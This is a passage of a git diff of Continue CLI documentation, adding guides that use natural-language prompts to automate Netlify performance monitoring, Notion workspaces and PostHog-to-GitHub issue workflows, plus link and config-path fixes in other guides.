performance: + +```bash +# In cn TUI mode: +"Set up Cloudinary image optimization for my Netlify site: +- Install @cloudinary/netlify-plugin via MCP +- Auto-convert images to WebP with fallbacks +- Generate responsive sizes (320w, 640w, 1024w, 1920w) +- Add lazy loading for all images +- Configure blur-up placeholders +- Update netlify.toml with Cloudinary settings +Target: Reduce image payload by 60-80% and improve LCP" +``` + +## Continuous Performance Monitoring + +### Step 6: Performance Budget Enforcement with Lighthouse CI + +Set and enforce performance budgets with automated testing: + +```bash +# In cn TUI mode: +"Set up Lighthouse CI with performance budgets for my Netlify site: + +Requirements: +- LCP must be < 2.5 seconds +- JavaScript bundle must be < 200KB +- Total size < 500KB +- Performance score >= 90 + +Setup needed: +1. Install @lhci/cli and @netlify/plugin-lighthouse +2. Create lighthouserc.js with these budget assertions +3. Configure netlify.toml to run checks on all deploys +4. Add GitHub status checks to block PRs that exceed budgets +5. Create performance dashboard at /lighthouse-reports + +Please configure the complete Lighthouse CI setup with these budgets." +``` + + + This comprehensive setup will automatically test every deploy preview and + production deployment, blocking any changes that violate your performance + budgets. + + +### Step 7: Real User Monitoring with Netlify Analytics + +Leverage Netlify's built-in analytics and integrate advanced RUM solutions: + +```bash +# In cn TUI mode: +"Set up comprehensive Real User Monitoring for my Netlify site: + +1. Configure Netlify Analytics Pro (requires Pro account): + - Set up server-side analytics (no JS required) + - Track Core Web Vitals (LCP, FID, CLS, INP) + - Monitor top pages by performance score + - Create custom performance alerts + - Configure weekly performance reports + +2. Integrate Web Vitals tracking: + - Install web-vitals library for detailed metrics + - Send metrics to Netlify Functions endpoint + - Store performance data in Netlify Blobs + - Create performance dashboard at /metrics + +3. Set up Performance Alerts: + - Alert when P75 LCP > 3 seconds + - Notify if CLS increases by 20% + - Monitor JavaScript error rates + - Track 404s and broken resources + - Send alerts to Slack via Netlify Functions + +4. Configure Geographic Performance Monitoring: + - Use Netlify Edge Functions to track region-specific metrics + - Identify slow regions with Edge geo data + - Compare performance across CDN nodes + - Optimize edge caching for slow regions + +5. Create Custom Performance Dashboard: + - Build dashboard page using Netlify Functions + - Display real-time Core Web Vitals + - Show performance trends over time + - Include browser and device breakdowns + +Show me the complete implementation with all code and configurations" +``` + + + **Note**: Netlify Analytics Pro requires a paid Netlify Pro account ($19/month + per site). The prompt above assumes you have this plan. For free tier users, + focus on steps 2-5 which use Netlify Functions and Edge Functions to build + custom analytics. + + + + **Netlify Analytics Advantages**: + - [Server-side Analytics](https://docs.netlify.com/analytics/get-started/) - No client-side JavaScript needed + - [Core Web Vitals](https://docs.netlify.com/analytics/core-web-vitals/) - Automatic tracking of Google's metrics + - [Custom Metrics](https://docs.netlify.com/functions/logs/) - Track any metric via Functions + - [Edge Insights](https://docs.netlify.com/edge-functions/overview/#geolocation) - Geographic performance data + - [No Cookie Banner Required](https://docs.netlify.com/analytics/get-started/#privacy) - GDPR compliant by default + +Unlike Google Analytics, Netlify Analytics: + +- Doesn't slow down your site (server-side) +- Captures 100% of traffic (no ad blockers) +- Respects user privacy (no cookies) +- Shows bot traffic separately + + + + + **Pro Tip** + Combine Netlify Analytics with Edge Functions to create a + powerful RUM solution that: + - Tracks performance by user segment + - A/B tests + performance optimizations + - Personalizes content based on connection speed + - Automatically serves lighter assets to slow connections + + + +## Automated Performance Checks + +### Add GitHub Secrets + +Navigate to **Repository Settings → Secrets and variables → Actions** and add: + +- `CONTINUE_API_KEY`: Your Continue API key from [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) +- `NETLIFY_AUTH_TOKEN`: Your Netlify personal access token +- `NETLIFY_SITE_ID`: Your Netlify site ID + +### GitHub Actions Performance Guard + +Block PRs that degrade performance: + +```yaml +name: Performance Check + +on: + pull_request: + +jobs: + performance: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "22" + + - name: Install Continue CLI + run: | + npm install -g @continuedev/cli + echo "✅ Continue CLI installed" + + - name: Authenticate Continue CLI + env: + CONTINUE_API_KEY: ${{ secrets.CONTINUE_API_KEY }} + run: | + cn auth login --api-key "$CONTINUE_API_KEY" + echo "✅ Continue CLI authenticated" + + - name: Deploy and Test Performance + id: perf + env: + NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }} + NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }} + run: | + echo "🚀 Deploying PR preview and analyzing performance..." + cn -p "Deploy PR preview and run Lighthouse. + Compare scores with main branch. + Output JSON with score deltas." > performance.json + + - name: Comment Performance Results + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const perf = JSON.parse(fs.readFileSync('performance.json')); + + const emoji = perf.score_delta < -10 ? '🔴' : + perf.score_delta < 0 ? '🟡' : '🟢'; + + const comment = `## ${emoji} Performance Impact + + | Metric | Main | PR | Delta | + |--------|------|----|---------| + | Performance Score | ${perf.main_score} | ${perf.pr_score} | ${perf.score_delta > 0 ? '+' : ''}${perf.score_delta} | + | LCP | ${perf.main_lcp}s | ${perf.pr_lcp}s | ${perf.lcp_delta > 0 ? '+' : ''}${perf.lcp_delta}s | + | Bundle Size | ${perf.main_bundle}KB | ${perf.pr_bundle}KB | ${perf.bundle_delta > 0 ? '+' : ''}${perf.bundle_delta}KB | + + ${perf.score_delta < -10 ? '⚠️ **This PR significantly degrades performance. Please optimize before merging.**' : ''} + + [View Full Report](${perf.report_url})`; + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: comment + }); + + // Fail check if performance degrades significantly + if (perf.score_delta < -10) { + core.setFailed('Performance degraded by more than 10 points'); + } +``` + + + This workflow will: + - **Block merge** if performance score drops >10 points + - **Warn** on any performance regression + - **Celebrate** improvements with green indicators + + + +## Performance Testing Locally + +### Step 8: Local Performance Testing + +Test performance before deploying: + +```bash +# In cn TUI mode: +"Run production build and measure bundle sizes" +``` + +### Step 9: Pre-commit Performance Checks + +Prevent performance regressions before they happen: + +```bash +# In cn TUI mode: +"Add pre-commit hooks for bundle size limits" +``` + +## Performance Troubleshooting + +### Debug Performance Issues + +Identify and fix performance bottlenecks: + +```bash +# In cn TUI mode: +"Why did my performance score drop?" +``` + +### Performance Issue Quick Fixes + +| Issue | Quick Fix Command (in cn TUI) | +| ------------- | --------------------------------- | +| Slow LCP | `"Preload critical resources"` | +| High CLS | `"Add size attributes to images"` | +| Large bundles | `"Implement code splitting"` | +| Slow builds | `"Enable build caching"` | +| Poor caching | `"Configure cache headers"` | + +## What You've Accomplished + + + + You've built an AI-powered performance optimization system that: + - Automatically monitors Core Web Vitals + - Runs A/B tests between branches + - Blocks deployments that degrade performance + - Provides actionable optimization + suggestions + + + +## Discover Netlify's Hidden Performance Gems + +Features many developers don't know Netlify offers: + + + + + **[Netlify Edge Functions](https://docs.netlify.com/edge-functions/overview/)** + - Run code at the edge, closer to users + - Transform responses on-the-fly + - A/B test at the edge level + - Personalize content without client-side JS + + + + + + **[Netlify Graph](https://docs.netlify.com/graph/overview/)** + - Unified GraphQL gateway for all your APIs + - Automatic TypeScript generation + - Built-in authentication handling + - Zero client-side API keys needed + + + + + **[On-Demand + Builders](https://docs.netlify.com/configure-builds/on-demand-builders/)** + - Generate pages only when requested + - Cache dynamically generated content + - Perfect for large sites (10k+ pages) + - Reduce build times dramatically + + + + + **[Background Functions](https://docs.netlify.com/functions/background-functions/)** + - Run tasks up to 15 minutes + - Process webhooks asynchronously + - Handle heavy computations + - No timeout worries + + + +```bash +# Try these advanced features in cn TUI mode: +"Show me how to use Netlify Edge Functions for geo-based personalization" +"Set up On-Demand Builders for my blog with 5000 posts" +"Configure Background Functions for image processing" +``` + +## Performance Best Practices + +The Netlify Performance Rules enforce: + + + + - Dependency caching enabled + - Parallel builds when possible + - Incremental compilation + - Smart cache invalidation + + + + - Automatic image optimization + - Efficient resource hints (preload, prefetch) + - Optimal cache headers + - CDN configuration + + + + - Performance budgets enforced + - Core Web Vitals tracking + - Real user monitoring + - Automated alerts + + + +## Advanced Performance Strategies + +### Progressive Enhancement + +```bash +# In cn TUI mode: +"Implement progressive enhancement with basic HTML first" +``` + +### Multi-variant Testing + +```bash +# In cn TUI mode: +"Test 3 bundle strategies and auto-select winner" +``` + +### Predictive Prefetching + +```bash +# In cn TUI mode: +"Analyze navigation patterns and prefetch next pages" +``` + +## Next Steps + +- Install [Netlify MCP](https://hub.continue.dev/netlify/netlify-mcp) from Continue Hub +- Set up [Performance Monitoring](https://docs.netlify.com/analytics/get-started/) +- Configure [A/B Testing](https://docs.netlify.com/split-testing/overview/) +- Join the [Continue Discord](https://discord.gg/continue) for support + +## Resources + +- [Netlify MCP on Continue Hub](https://hub.continue.dev/netlify/netlify-mcp) +- [Core Web Vitals Guide](https://web.dev/vitals/) +- [Netlify Analytics Documentation](https://docs.netlify.com/analytics/) +- [Continue Performance Guides](https://docs.continue.dev/guides) diff --git a/docs/guides/notion-continue-guide.mdx b/docs/guides/notion-continue-guide.mdx new file mode 100644 index 000000000..473e22732 --- /dev/null +++ b/docs/guides/notion-continue-guide.mdx @@ -0,0 +1,377 @@ +--- +title: "Developer & Team Workflows with Notion + Continue CLI" +description: "Use Continue CLI with Notion to generate docs, manage tasks, and automate project workflows – all through natural-language prompts." +sidebarTitle: "Notion with Continue" +--- + + + + A workflow that lets you query, update, and create Notion pages or database + entries from natural-language prompts. Generate PRDs, sprint tasks, meeting + notes, or status reports automatically – perfect for individual developers + and cross-functional teams. + + + +## What You'll Learn + +This guide teaches you to: +- Use natural language to connect to the Notion API directly with Continue CLI for powerful automation +- Configure Notion API access with proper permissions and security +- Run prompts in both TUI (interactive) and headless modes +- Create automated workflows that generate docs, manage tasks, and sync data + +## Prerequisites + +Before starting, ensure you have: + +- [Continue CLI](https://docs.continue.dev/cli/overview) installed (`npm i -g @continuedev/cli`) +- A [Notion workspace](https://notion.so) with Editor (or higher) access +- Node.js 18+ installed locally +- [Continue account](https://hub.continue.dev) with **Hub access** + + + + **Agent usage requires credits** – create a Continue API key at + [hub.continue.dev/settings/api-keys](https://hub.continue.dev/settings/api-keys) + and store it as a secret. + + + + + + ```bash + npm i -g @continuedev/cli + ``` + Verify installation: + ```bash + cn --version + ``` + + + + 1. Go to **[Notion Integrations](https://www.notion.so/my-integrations)** + 2. Click **+ New integration** → give it a name (e.g. "Continue Integration") + 3. Select your workspace + 4. Under **Content Capabilities**, enable: + - ✅ Read content + - ✅ Update content + - ✅ Insert content + 5. Under **Comment Capabilities**, enable: + - ✅ Read comments + - ✅ Insert comments + 6. Under **User Capabilities**, select: + - ✅ Read user information including email addresses + 7. Click **Submit** and copy the **Internal Integration Secret** (starts with `secret_`) + + + + This token is your `NOTION_API_KEY`. + Keep it safe – you won't be able to view it again. + + + + 8. In Notion, open each database or top-level page you want accessible → **Share** → **Invite** your new integration → **Full access**. + + + + Set your Notion API key as an environment variable in your terminal: + + ```bash + export NOTION_API_KEY="secret_xxx" + ``` + + + + Running this command sets your API key for the current terminal session only. + When you close the terminal, the variable won't persist. To test your API key, run the curl command below in the same session. + + ```bash + curl -H "Authorization: Bearer $NOTION_API_KEY" \ + -H "Notion-Version: 2022-06-28" \ + https://api.notion.com/v1/databases + ``` + + + + + Depending on what you want `cn` to accomplish, you'll need to add your Notion workspace keys to the terminal session. The workspace key is your Notion database ID. Run the following command: + + ```bash + export NOTION_DATABASE_ID="your_database_id" + ``` + + + You can find your database ID by: + 1. Opening your Notion changelog database + 2. Looking at the URL - it will be something like: + https://www.notion.so/your-workspace/DATABASE_ID?v=... + 3. The DATABASE_ID is the long string of characters between the last / and the ? + + + + + +## Running Continue CLI with Notion API + + + + Continue CLI offers two powerful modes for Notion automation: + **TUI mode** for interactive workflows and **Headless mode** for automated scripts. + + + + + + + + + Navigate to your project directory and run: + ```bash + cn + ``` + + + + In the TUI interface, enter: + ``` + 1. Fetch my Notion databases using the Notion API key + and Database ID stored in this terminal session. + 2. Look at the last week of Merged GitHub PRs, and create + a changelog entry in Notion summarizing the features and breaking changes. + ``` + + + + TUI mode lets you review and approve each action before execution, + perfect for learning and debugging. + + + + + + + + + + Execute prompts directly from the command line: + ```bash + cn -p --auto " + 1. Fetch my Notion databases using the Notion API key + and Database ID stored in this terminal session. + 2. Analyze all merged GitHub PRs from the past week. + 3. Extract feature descriptions and breaking changes. + 4. Create a technical changelog in Notion with PR links." + ``` + + **Flags explained:** + - `-p`: Run without TUI interface + - `--auto`: Execute without manual approval + + + + Always test prompts in TUI mode first before running + them with `--auto` in production. + + + + + + + + + + - Environment variable `NOTION_API_KEY` must be set before running Continue CLI + - Continue automatically uses the API key to authenticate with Notion + - No need for manual curl commands - just reference "the API key stored in this session" + - For complex workflows, Continue maintains the API connection throughout + - Consider creating aliases or scripts for frequently used prompts + + + +--- + +## Quick Start Example + +Working example that demonstrates the power of Continue with Notion API: + + + + **This exact command has been tested and works:** + + ```bash + # Weekly Sprint Summary + cn -p --auto " + 1. Fetch Notion Sprint database + 2. Analyze completed tasks vs planned + 3. Generate sprint retrospective page + 4. Add velocity metrics and burndown chart" + ``` + + **What this does:** + 1. Connects to your Notion workspace using the API key + 2. Analyzes your sprint data + 3. Calculates completion metrics + 4. Creates a comprehensive retrospective with visualizations + + + + +## Example Prompts & Workflows + +With the Notion API configured, you can use natural language prompts to automate your workspace. Here are examples for both TUI and headless modes: + + + + **TUI Mode:** + ```bash + cn " + 1. Fetch my Notion databases using the API key and secrets stored in this session + 2. Generate API documentation for all endpoints + in src/api/routes with request/response schemas + 3. Create a page in Technical Docs database + " + ``` + + **Headless Mode:** + ```bash + cn -p --auto "Fetch my Notion databases using the API key and secrets stored in this session. Generate API docs + for src/api/routes and save to Notion in Technical Docs database" + ``` + + + + **Headless Mode (Automated):** + ```bash + cn -p --auto " + 1. Fetch my Notion databases using the API key stored in this session + 2. Scan codebase for TODO and FIXME comments + 3. Create tasks in my Notion Engineering Backlog database + 4. Include file paths and complexity estimates" + ``` + + + + ```bash + cn -p --auto " + 1. Fetch my Notion databases using the API key stored in this session + 2. Analyze all merged GitHub PRs from past month + 3. In my Notion Launch Database, review the Launch Template. + 4. Create an October Launch doc in Notion with a week of launches and materials based on the Launch documents based on the PR analysis and launch documents." + ``` + + + + + ```bash + cn -p --auto " + 1. Fetch my Tasks database from Notion using the API key + 2. Find tasks completed yesterday + 3. Find tasks in progress + 4. Create standup note with: completed, + in-progress, and blockers sections" + ``` + + + +## Advanced Workflows + + + + ```bash + cn -p --auto " + 1. Connect to Notion using the API key in this session + 2. Get merged PRs from last 7 days using GitHub + 3. Extract feature descriptions and changes + 4. Create formatted changelog in Notion + 5. Add links back to GitHub PRs" + ``` + + + + Requires GitHub repository access. To add GitHub access, update your [integration settings](https://hub.continue.dev/settings/integrations). + + + + + + ```bash + cn -p --auto " + 1. Connect to Notion using the API key in this session + 2. Run test coverage report (npm test -- --coverage) + 3. Parse coverage metrics + 4. Update Test Metrics database in Notion + 5. Flag files with coverage below 80%" + ``` + + + + ```bash + cn " + 1. Connect to Notion using the API key in this session + 2. In my Blog Posts Database, find drafts tagged 'Review' + 3. Review all blog posts for grammar and clarity and suggest improvements through comments. + ``` + + + + ```bash + cn -p --auto " + 1. Connect to Notion databases using API key + 2. Aggregate completed tasks from the week + 3. Calculate velocity and burndown metrics + 4. Generate weekly report with charts + 5. Share link in Slack #team-updates" + ``` + + + +## Security Best Practices + + + + **Protect Your API Keys:** + - Never commit `NOTION_API_KEY` to version control + - Use environment variables or secure secret managers + - Rotate API keys every 90 days + - Grant integration access only to required databases/pages + - Monitor API usage through Notion's integration dashboard + - Use `.env` files with `.gitignore` for local development + + + + +## Next Steps + +- Create a **GitHub Actions** workflow to automate changelog generation on releases +- Build a **daily standup bot** that runs every morning and posts to Slack +- Set up **database templates** in Notion for consistent formatting +- Explore **batch operations** to update multiple pages efficiently +- Implement **error handling** for API rate limits and network issues + +--- + +## Troubleshooting + + + + **API Key Not Found:** + - Ensure `NOTION_API_KEY` is exported in your current shell session + - Check for typos in the environment variable name + - Verify the key starts with `secret_` + + **Database Access Denied:** + - Share the specific database with your integration in Notion + - Ensure the integration has the correct permissions (Read, Write, Insert) + + **Connection Issues:** + - Verify Continue CLI has internet access + - Check network connectivity to api.notion.com + - Ensure your Notion workspace allows API access + + **Rate Limiting:** + - Notion API has rate limits (3 requests per second) + - Implement exponential backoff for automated scripts + - Consider batching operations when possible + + diff --git a/docs/guides/ollama-guide.mdx b/docs/guides/ollama-guide.mdx index 724afa1ef..77ca3fd0a 100644 --- a/docs/guides/ollama-guide.mdx +++ b/docs/guides/ollama-guide.mdx @@ -86,8 +86,8 @@ There are multiple ways to configure Ollama models in Continue: The easiest way is to use [pre-configured model blocks](/reference#local-blocks) from the Continue Hub in your local configuration: -```yaml title="~/.continue/agents/My Local Agent.yaml" -name: My Local Agent +```yaml title="~/.continue/configs/config.yaml" +name: My Local Config version: 0.0.1 schema: v1 models: @@ -195,7 +195,7 @@ models: 1. First, add `capabilities: [tool_use]` to your model config 2. If you still get errors, the model may not actually support tools despite documentation 3. Use a different model known to work with tools (e.g., Llama 3.1, Mistral) -4. Alternatively, you can turn on [System Message tools](/features/agent/model-setup#how-system-message-tools-work) +4. Alternatively, you can turn on [System Message tools](/ide-extensions/agent/model-setup#how-system-message-tools-work) See the [Model Capabilities guide](/customize/deep-dives/model-capabilities) for more details. @@ -315,8 +315,8 @@ ollama pull deepseek-r1:32b **Solution**: Create a local agent file: ```yaml -# ~/.continue/agents/Local.yaml -name: Local Agent +# ~/.continue/configs/config.yaml +name: Local Config version: 0.0.1 schema: v1 models: diff --git a/docs/guides/overview.mdx b/docs/guides/overview.mdx index 306804c3f..214c9d996 100644 --- a/docs/guides/overview.mdx +++ b/docs/guides/overview.mdx @@ -14,11 +14,62 @@ description: "Comprehensive collection of practical guides for Continue includin - [Continuous AI: A Developer's Guide](/guides/continuous-ai) - Integrating AI into development workflows - [How to Use Continue CLI (cn)](/guides/cli) - Command-line interface for Continue - [Continuous AI Readiness Assessment](/guides/continuous-ai-readiness-assessment) - Evaluate team readiness for Continuous AI adoption -- [PostHog Session Analysis with Continue CLI](/guides/posthog-github-continuous-ai) - Analyze user behavior data to optimize your codebase with automatic issue creation +- [Notion + Continue Guide](/guides/notion-continue-guide) - Automate docs, tasks, and release workflows +- [Pull Request Review Bot with GitHub Actions](/guides/github-pr-review-bot) - Set up automated, privacy-first code reviews using Continue CLI + +## MCP Integration Cookbooks + +Step-by-step guides for integrating Model Context Protocol (MCP) servers with Continue: + + + + Use the Continue Docs MCP to write cookbooks, guides, and documentation with AI-powered workflows + + + + Use GitHub MCP to list, filter, and summarize open issues and merged PRs, and post AI-generated comments + + + + Use Atlassian Rovo MCP to search and manage Jira issues, Confluence pages, and Compass components with natural language + + + + Analyze user behavior data to optimize your codebase with automatic issue creation + + + + Optimize web performance with A/B testing and automated monitoring using Netlify MCP + + + + Measure and optimize web performance with automated traces, Core Web Vitals monitoring, and performance budgets + + + + Manage headless CMS content with AI-powered workflows using Sanity MCP + + + + Automated error analysis with Sentry MCP to identify patterns and create actionable GitHub issues + + + + Integrate Snyk MCP via Continue Hub to scan code, deps, IaC, and containers + + + + Audit Row Level Security in your Supabase database, identify vulnerabilities, and automatically generate fixes using Supabase MCP + + + + Build AI-powered data pipelines with dlt MCP for pipeline inspection, schema management, and debugging + + ## What Advanced Tutorials Are Available -- [Codebase and Documentation Awareness](/guides/codebase-documentation-awareness) - Make your agent aware of codebases and documentation +- [Codebase and Documentation Awareness](/guides/codebase-documentation-awareness) - Make agent mode aware of codebases and documentation - [Custom Code RAG](/guides/custom-code-rag) - Advanced: Build custom retrieval-augmented generation for large codebases ## How to Contribute to Guides diff --git a/docs/guides/plan-mode-guide.mdx b/docs/guides/plan-mode-guide.mdx index 97c2a1b5e..289efe38a 100644 --- a/docs/guides/plan-mode-guide.mdx +++ b/docs/guides/plan-mode-guide.mdx @@ -106,7 +106,7 @@ You can switch to `Plan` in the mode selector below the chat input box. ## How Context Integration Works in Plan Mode -Context is the foundation of effective planning. Without proper context, AI models fall back on generic patterns, leading to plans that don't fit your specific system. Continue's [context system](/features/chat/context-selection) transforms broad suggestions into actionable strategies: +Context is the foundation of effective planning. Without proper context, AI models fall back on generic patterns, leading to plans that don't fit your specific system. Continue's [context system](/ide-extensions/chat/context-selection) transforms broad suggestions into actionable strategies: | Context Type | Usage | Best For | | :------------------- | :----------------------------------------------------- | :---------------------------- | @@ -267,7 +267,7 @@ Move to Agent Mode when you have: ### Key Takeaways -The three-mode system—Chat for learning, Plan for strategy, and Agent for execution—provides a complete development workflow that scales from simple bug fixes to complex system architecture. +The three-mode system—Chat mode for learning, Plan mode for strategy, and Agent mode for execution—provides a complete development workflow that scales from simple bug fixes to complex system architecture. **Remember:** diff --git a/docs/guides/posthog-github-continuous-ai.mdx b/docs/guides/posthog-github-continuous-ai.mdx index 1127f8166..621e4b51d 100644 --- a/docs/guides/posthog-github-continuous-ai.mdx +++ b/docs/guides/posthog-github-continuous-ai.mdx @@ -1,23 +1,32 @@ --- title: "Building a Continuous AI Workflow with PostHog and GitHub" -description: "Build an automated system that continuously monitors PostHog session recordings, analyzes UX issues using Continue CLI, and creates GitHub issues automatically." -sidebarTitle: "PostHog Session Analysis with Continue CLI" +description: "Build an automated system that continuously monitors PostHog analytics, analyzes user behavior with AI, and creates GitHub issues automatically using PostHog MCP." +sidebarTitle: "PostHog Analytics with Continue CLI" --- - A fully automated workflow that uses Continue CLI to fetch PostHog session - data, analyze user experience issues with AI, and automatically create GitHub - issues with specific technical recommendations + A fully automated workflow that uses Continue CLI with the PostHog MCP to fetch analytics data, analyze user experience issues with AI, and automatically create GitHub + issues with the GitHub CLI. +## What You'll Learn + +This cookbook teaches you to: + +- Use [PostHog MCP](https://posthog.com/docs/model-context-protocol) to query [analytics](https://posthog.com/docs/web-analytics), [errors](https://posthog.com/docs/error-tracking), and [feature flags](https://posthog.com/docs/feature-flags) +- Analyze user behavior patterns with AI +- Automatically create GitHub issues using GitHub CLI +- Set up continuous monitoring with GitHub Actions + ## Prerequisites Before starting, ensure you have: - GitHub repository where you want to create issues -- PostHog account with **[session recordings enabled and collecting data](https://posthog.com/docs/session-replay/installation)** +- [PostHog account](https://posthog.com) with [session recordings enabled](https://posthog.com/docs/session-replay/installation) and data collecting - Node.js 18+ installed locally -- Continue CLI account with **active credits** (required for API usage) +- [Continue CLI](https://docs.continue.dev/guides/cli) with **active credits** (required for API usage) +- [GitHub CLI](https://cli.github.com/) installed (`gh` command) @@ -41,413 +50,201 @@ Before starting, ensure you have: - Continue CLI handles all the complex API interactions - you just need to - provide the right prompts! + Continue CLI handles the complex API interactions - you just need to provide + the right prompts! ## Step 1: Set Up Your Credentials -First, you'll need to gather your API credentials and add them as secrets in Continue CLI. +First, you'll need to gather your PostHog and GitHub API credentials and add them as secrets in Continue CLI. -### Get Your PostHog API Credentials + + + You'll need a **Personal API Key** (not a Project API key) to access session recordings: -You need a **Personal API Key** (not a Project API key) to access session recordings: + 1. Go to [Personal API Keys](https://app.posthog.com/settings/user-api-keys) in PostHog + 2. Click **+ Create a personal API Key** + 3. Name it "Continue CLI Session Analysis" + 4. Select these scopes: + - `session_recording:read` - **Required** for accessing session data + - `feature_flag:read` - **Required** for feature flag auditing + - `insight:read` + - `query:read` + - `session_recording_playlist:read` + 5. Copy the key immediately (you won't see it again!) + 6. Note your **Project ID** from your PostHog project settings + 7. Note your PostHog host URL (e.g., `https://us.posthog.com` or your custom domain) + 8. You'll also need your POSTHOG_AUTH_HEADER value, which is simply `Bearer YOUR_API_KEY` -1. Go to [Personal API Keys](https://app.posthog.com/settings/user-api-keys) in PostHog -2. Click **+ Create a personal API Key** -3. Name it "Continue CLI Session Analysis" -4. Select these scopes: - - `session_recording:read` - **Required** for accessing session data - - `insight:read` - Optional, for additional analytics -5. Copy the key immediately (you won't see it again!) - - - **Find Your Project Details**: Your Project ID is in your PostHog URL: - `https://app.posthog.com/project/YOUR_PROJECT_ID` - - -### Get Your GitHub Personal Access Token - -1. Go to [GitHub Personal Access Tokens](https://github.com/settings/personal-access-tokens/new) -2. Click **"Generate new token (classic)"** -3. Name it "Continue CLI PostHog Analysis" -4. Select these scopes: - - `repo` (or just `public_repo` if your repository is public) - - `issues:write` - **Required** for creating issues -5. Copy the token immediately - -### Add Secrets to Continue CLI - -Use Continue CLI's built-in environment setup helper: - -```bash -cn -p "Help me set up my environment for PostHog session analysis. Please: -1. Check if I have the required secrets configured in Continue CLI: - - POSTHOG_API_KEY - - POSTHOG_PROJECT_ID - - POSTHOG_HOST - - GITHUB_PAT -2. If any are missing, guide me through: - - How to get PostHog Personal API Key from PostHog settings - - How to find my PostHog Project ID from the URL - - How to create a GitHub Personal Access Token with issues:write permission - - How to add these as secrets in Continue CLI -3. Help me identify my GitHub repository owner and name by: - - Checking git remote origin URL - - Or asking me to provide them -4. Test the API connections by making a simple API call to both PostHog and GitHub to verify the credentials work. -Please walk me through this setup process step by step." -``` - - - Continue CLI will guide you through adding secrets and testing your API - connections. Follow the prompts to add: - `POSTHOG_API_KEY`: Your PostHog - Personal API Key - `POSTHOG_PROJECT_ID`: Your PostHog Project ID - - `POSTHOG_HOST`: `https://us.posthog.com` (or your custom PostHog host) - - `GITHUB_PAT`: Your GitHub Personal Access Token + + **Continue Secrets**: The `POSTHOG_AUTH_HEADER` secret should be stored in + Continue's secure secrets storage. This keeps your API key safe and the MCP + automatically connects to your default PostHog project. -## Step 2: Analyze PostHog Sessions with Continue CLI + + + GitHub CLI handles authentication automatically - no manual PAT needed: -Now you'll use Continue CLI to fetch PostHog session data and analyze it for UX issues. Continue CLI handles all the API calls and analysis automatically. - -### Run the Analysis - -Use this prompt with Continue CLI to fetch and analyze your PostHog sessions: - -```bash -cn -p "I need you to help me analyze PostHog session recordings to identify UX issues. Please: - -1. First, fetch session recordings from PostHog using these details: - - Use the POSTHOG_API_KEY, POSTHOG_PROJECT_ID, and POSTHOG_HOST from my secrets - - API endpoint: {POSTHOG_HOST}/api/projects/{POSTHOG_PROJECT_ID}/session_recordings/?limit=20 - - Include Authorization header: 'Bearer {POSTHOG_API_KEY}' - -2. Filter the sessions to find problematic ones with either: - - console_error_count > 0 (JavaScript errors) - - recording_duration > 300 (sessions longer than 5 minutes) - -3. Analyze the filtered sessions and create exactly 3 GitHub issues for the most critical UX problems. - -4. Format each issue like this: -### 1. **Issue Title Here** -**Problem**: One sentence describing the user problem -**Technical Causes**: Brief technical explanation -**Affected Pages**: List the URLs -**Recommended Fix**: -- Specific action item 1 -- Specific action item 2 -**Priority**: **HIGH** or **MEDIUM** or **LOW** -**Impact**: Quantify the impact (e.g., 'Affects 80% of sessions') - -Please make the API call, analyze the data, and provide the 3 formatted issues. Base all recommendations on actual patterns in the session data." -``` - - - **What Continue CLI Does:** - Makes authenticated API calls to PostHog using - your stored secrets - Fetches and filters session recordings automatically - - Analyzes patterns in the data using AI - Generates structured issue - descriptions ready for GitHub - + 1. Install GitHub CLI if not already installed + 2. Run `gh auth login` and follow the prompts + 3. Choose authentication method (browser or token) + 4. Grant necessary permissions when prompted (`issues:write` is **required** for creating issues) + + + - Save the analysis output to a file by adding `> analysis-results.txt` to the - command if you want to review it later. +See https://docs.continue.dev/hub/secrets/secret-types#secret-types for adding secrets -## Step 3: Create GitHub Issues Automatically +You only need to configure the PostHog MCP credential - it automatically handles project selection. To add environment variables to your Continue Hub account: -Now use Continue CLI to create GitHub issues from your analysis results: +1. Go to the [Continue Hub](https://hub.continue.dev) +2. Sign in to your account +3. Navigate to your user settings +4. Look for the "Secrets" section +5. Add your Personal API Key from PostHog (phx_...) as POSTHOG_AUTH_HEADER secret with format: Bearer YOUR_API_KEY -```bash -cn -p "I have analyzed PostHog session data and identified UX issues. Now I need you to create GitHub issues using the GitHub API. + + -Use these details from my secrets: -- GITHUB_PAT: My GitHub Personal Access Token -- Repository: Extract from git remote or ask me to specify +## PostHog GitHub Continuous AI Workflow Options -For each issue in my analysis: -1. Parse the issue title, body content, and priority level -2. Create a GitHub issue via API POST to: https://api.github.com/repos/{owner}/{repo}/issues -3. Use these headers: - - Authorization: token {GITHUB_PAT} - - Accept: application/vnd.github.v3+json - - Content-Type: application/json -4. Set labels based on priority: - - HIGH: [\"bug\", \"high-priority\", \"user-experience\", \"automated\"] - - MEDIUM: [\"enhancement\", \"medium-priority\", \"user-experience\", \"automated\"] - - LOW: [\"low-priority\", \"user-experience\", \"automated\"] -5. Format the issue title as: \"🔍 UX Issue: {original title}\" + + Skip the manual setup and use our pre-built PostHog GitHub agent that includes + optimized prompts, rules, and the PostHog MCP for more consistent results. + -Please create the GitHub issues and confirm they were successfully created with issue numbers and URLs. -" -``` + + **How PostHog MCP Works**: + - Your API key is tied to your PostHog account and + organization + - It automatically uses your default project (no project ID + needed) + - If you have multiple projects, use `mcp__posthog__switch-project` to + change + - The MCP connects via `https://mcp.posthog.com/sse` using your account context. + + + + + + **Perfect for:** Immediate results with optimized prompts and built-in debugging + + + + Visit the [PostHog Continuous AI Agent](https://hub.continue.dev/continuedev/posthog-continuous-ai-agent) on Continue Hub and click **"Install Agent"** or run: + + ```bash + cn --agent continuedev/posthog-continuous-ai-agent + ``` + + This agent includes: + - **Optimized prompts** for PostHog analysis and GitHub issue creation + - **Built-in rules** for consistent formatting and error handling + - **PostHog MCP** for more reliable API interactions + + + + From your project directory, run: + ```bash + cn "Give me my PostHog Session data and create GitHub issues based on the problems." + ``` + + That's it! The agent handles everything automatically. + + + + + **Why Use the Agent?** Results are more consistent and debugging is easier thanks to the PostHog MCP integration and pre-tested prompts. + + + + + + + + First, install the [PostHog MCP](https://hub.continue.dev/posthog/posthog-mcp) or 